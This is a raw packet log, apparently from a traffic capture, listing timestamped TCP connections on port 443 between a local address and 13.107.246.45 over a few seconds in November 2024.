Nov 20, 2024 03:22:08.345932007 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.346631050 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.346724987 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.346925020 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.346941948 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.352303982 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.352647066 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.352701902 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.352933884 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.352946997 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.393069983 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.393398046 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.393414021 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.393721104 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.393727064 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.448142052 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.448239088 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.448329926 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.448476076 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.448476076 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.448527098 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.448556900 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.451333046 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.451383114 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.451564074 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.451628923 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.451639891 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.452955008 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.453285933 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.453336954 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.453341961 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.453399897 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.453448057 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.453448057 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.453485012 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.453507900 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.455255032 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.455303907 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.455384016 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.455507994 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.455535889 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.494334936 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.494415045 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.494452953 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.494568110 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.494584084 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.494594097 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.494599104 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.496685028 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.496764898 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.496860981 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.496953964 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.496983051 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.549961090 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.550384998 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.550405979 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.550714016 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.550719023 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.613318920 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.613750935 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.613776922 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.614137888 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.614147902 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.695060968 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.695302010 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.695394039 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.695533991 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.695554972 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.695583105 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.695590019 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.698156118 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.698231936 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.698327065 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.698498011 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.698529005 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.718502998 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.718631983 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.718668938 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.718683004 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.718713045 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.718745947 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.718765020 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.718775988 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.718780994 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.720693111 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.720736980 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:08.720810890 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.720913887 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:08.720931053 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.099822044 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.104091883 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.104110003 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.104583025 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.104588985 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.125258923 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.125617027 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.125685930 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.126013041 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.126029015 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.134772062 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.135065079 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.135104895 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.135374069 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.135382891 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.200350046 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.200454950 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.200532913 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.200603008 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.200603008 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.200615883 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.200624943 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.202828884 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.202934027 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.203053951 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.203167915 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.203202009 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.227897882 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.227932930 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.227987051 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.228017092 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.228044987 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.228091955 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.228135109 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.228171110 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.228198051 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.228212118 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.230516911 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.230621099 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.230822086 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.230822086 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.230907917 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.238615036 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.238666058 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.238743067 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.238830090 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.238883018 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.238913059 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.238936901 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.240577936 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.240621090 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.240696907 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.241764069 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.241790056 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.343113899 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.343461037 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.343496084 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.343828917 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.343841076 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.365061045 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.365458012 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.365555048 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.365988016 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.366003036 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.443227053 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.443295002 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.443365097 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.443499088 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.443499088 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.443531990 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.443555117 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.451833963 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.451888084 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.451960087 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.452095985 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.452111959 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.464826107 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.465006113 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.465054035 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.465084076 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.465157032 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.465157032 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.465157032 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.466963053 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.467058897 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.467152119 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.467238903 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.467259884 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.767347097 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.767375946 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.835309982 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.835869074 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.835920095 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.836261988 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.836273909 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.865495920 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.865982056 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.866063118 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.866381884 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.866395950 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.901618958 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.902323961 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.902404070 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.902594090 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.902610064 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.938314915 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.938502073 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.938575983 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.938828945 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.938828945 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.938858986 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.938877106 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.941833973 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.941884995 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.941968918 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.942116022 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.942142963 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.964847088 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.965020895 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.965112925 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.965245962 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.965246916 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.965297937 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.965342045 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.967681885 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.967777014 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:09.967874050 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.968027115 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:09.968056917 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.005664110 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.005805969 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.005851984 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.006000996 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.006001949 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.006001949 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.006001949 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.007942915 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.007970095 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.008033991 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.008167028 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.008182049 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.100470066 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.100953102 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.101023912 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.101341963 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.101356983 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.106209993 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.106476068 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.106551886 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.106758118 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.106775045 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.200572968 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.200757980 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.200809956 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.200839996 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.200906992 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.200968027 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.200968027 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.201019049 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.201046944 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.203728914 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.203810930 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.203910112 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.204090118 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.204123020 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.206634045 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.206854105 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.206923008 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.206990004 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.206990957 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.207025051 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.207046986 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.208776951 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.208834887 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.208913088 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.209023952 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.209054947 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.314321995 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.314394951 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.603632927 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.604172945 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.604209900 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.604624033 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.604635954 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.610968113 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.611289024 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.611301899 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.611745119 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.611751080 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.655396938 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.656075954 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.656090021 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.656483889 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.656491995 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.705159903 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.705646038 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.705739021 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.705861092 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.705861092 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.705912113 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.705945969 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.708482027 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.708573103 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.708674908 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.708853006 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.708889008 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.716578007 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.717138052 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.717195034 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.717226982 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.717226982 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.717242956 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.717250109 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.719412088 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.719496012 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.719588041 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.719737053 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.719772100 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.758754969 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.759094000 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.759203911 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.759203911 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.759231091 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.759243965 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.761430025 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.761538029 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.761641026 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.761795044 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.761823893 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.836034060 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.836718082 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.836803913 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.837116957 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.837130070 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.874411106 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.874814987 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.874896049 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.875174999 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.875190020 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.934977055 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.935406923 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.935447931 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.935453892 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.935491085 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.935558081 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.935580969 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.937885046 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.937927008 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.937995911 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.938106060 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.938123941 CET	443	50053	13.107.246.45	192.168.2.8
